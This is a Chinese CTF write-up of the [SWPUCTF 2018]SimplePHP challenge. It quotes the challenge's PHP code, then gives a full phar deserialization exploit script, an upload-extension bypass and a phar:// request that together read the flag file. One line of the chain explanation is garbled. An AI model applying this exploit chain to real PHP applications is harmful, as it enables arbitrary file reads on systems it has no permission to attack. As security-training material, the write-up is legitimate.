本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[SWPUCTF 2018]SimplePHP
一开始我以为是普通的文件上传
在查看文件的页面发现url
http://73fc19e0-7526-4a41-a882-0052e60436d1.node4.buuoj.cn:81/file.php?file=
因为源码里有提示
<!--flag is in f1ag.php-->
我们试试直接访问
但发现回显hacker!
看来是行不通的
那我们先看一下file.php源码
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>
其中的话,我们再看看
include 'function.php';
include 'class.php';
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
当然,还有base.php
为了分析更方便,我直接直接放进一个文件夹里看
源码里发现了一些魔法函数,但是没有unserlize,考虑是phar文件上传
phar反序列化
大体框架
<?php
class TestObject {
}//自定义构造
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$o = new TestObject();//自定义构造
$o -> data='cck';//自定义构造
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
分析class.php
看C1e4r类,当对象被销毁时调用__destruct函数
Show这个类,存在__tostring 当对象被当成字符串时调用 ,而在C1e4r中的echo就可以利用,
$a = new C1e4r
−>str=newShow();最后我们看Test这个魔术方法,可以看到依次调用get−>get−>fileget,在fileget这里存在filegetcontents这个获取文件命令的函数,这就是我们要利用的地方,所以value就是我们要读取的文件的位置,来构造另一部分链子:
$b=new Test();
$b->params[value]=’/var/www/html/f1ag.php‘之前F12里有
所以我们的思路就是C14er->Show->Test,
实在不太会写exp网上找了个
<?php
class Test
{
public $str;
public $params;
public function __construct()
{
$this->params = array();
}
}
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str = array();
}
$t = new Test();
$c = new C1e4r();
$s = new Show();
$t->params['source'] = '/var/www/html/f1ag.php';
$s->str['str'] = $t;
$c->str = $s;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
后来运行EXP发现不行,发现需要将php.ini内的readonly 后面的ON成OFF
运行后生成.phar文件因为之前源码有限制,我们抓包改后缀
上传成功之后可以在upload目录下看到上传的文件
phar协议直接读取
file.php?file=phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg
解码即为flag